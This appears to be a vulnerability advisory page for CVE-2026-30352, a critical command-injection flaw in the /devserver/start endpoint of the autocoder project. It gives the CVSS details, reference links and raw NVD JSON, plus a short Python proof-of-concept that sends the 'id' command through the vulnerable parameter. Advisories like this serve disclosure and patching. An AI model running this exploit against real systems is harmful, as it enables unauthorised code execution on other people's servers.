CVE-2026-30352

Description

A remote code execution (RCE) vulnerability in the /devserver/start endpoint of leonvanzyl autocoder commit 79d02a allows attackers to execute arbitrary code via providing a crafted command parameter.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

leonvanzyl autocoder commit 79d02a

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit(target_url):
    """
    PoC for CVE-2026-30352 RCE in leonvanzyl autocoder
    """
    # Vulnerable endpoint
    endpoint = f"{target_url}/devserver/start"
    
    # Malicious payload to execute 'id' command
    # Adjust the parameter name 'command' based on actual request structure
    payload_data = {
        "command": "id"
    }

    try:
        print(f"[*] Sending payload to {endpoint}...")
        response = requests.post(endpoint, data=payload_data, timeout=10)
        
        if response.status_code == 200:
            print("[+] Request sent successfully.")
            print("[+] Response:")
            print(response.text)
            
            # Check for common command output indicators
            if "uid=" in response.text or "gid=" in response.text:
                print("[!] Potential RCE confirmed via 'id' command output.")
        else:
            print(f"[-] Server returned status code: {response.status_code}")
            
    except Exception as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    target = "http://127.0.0.1:3000" # Replace with actual target
    exploit(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-30352
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-30352
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-30352/
[4] VulDB https://vuldb.com/cve/CVE-2026-30352
[5] http://autocoder.com
[6] http://leonvanzyl.com
[7] https://gist.github.com/syphonetic/e3bdee6c022b36d5ecb98fbf61284931
[8] https://github.com/leonvanzyl/autocoder

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-30352", "sourceIdentifier": "[email protected]", "published": "2026-04-27T16:16:43.597", "lastModified": "2026-04-27T19:18:46.690", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A remote code execution (RCE) vulnerability in the /devserver/start endpoint of leonvanzyl autocoder commit 79d02a allows attackers to execute arbitrary code via providing a crafted command parameter."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "references": [{"url": "http://autocoder.com", "source": "[email protected]"}, {"url": "http://leonvanzyl.com", "source": "[email protected]"}, {"url": "https://gist.github.com/syphonetic/e3bdee6c022b36d5ecb98fbf61284931", "source": "[email protected]"}, {"url": "https://github.com/leonvanzyl/autocoder", "source": "[email protected]"}]}}